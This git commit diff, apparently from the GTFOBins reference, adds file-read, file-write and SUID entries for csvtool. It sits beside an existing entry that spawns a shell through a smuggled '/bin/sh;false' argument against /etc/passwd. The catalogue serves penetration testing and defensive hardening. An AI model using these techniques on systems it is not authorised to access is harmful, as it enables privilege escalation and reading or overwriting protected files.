Add csvtool file-read/write

This commit is contained in:
LinuxSploit 2021-04-18 05:17:49 -04:00 committed by GitHub
parent 5255ea1846
commit c51b90a1bb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,5 +1,21 @@
--- ---
functions: functions:
file-read:
- description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
code: |
LFILE=file_to_read
csvtool trim t $LFILE
file-write:
- description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
code: |
LFILE=file_to_write
TF=$(mktemp)
echo DATA > $TF
csvtool trim t $TF -o $LFILE
suid:
- code: |
LFILE=file_to_read
./csvtool trim t $LFILE
shell: shell:
- code: csvtool call '/bin/sh;false' /etc/passwd - code: csvtool call '/bin/sh;false' /etc/passwd
sudo: sudo: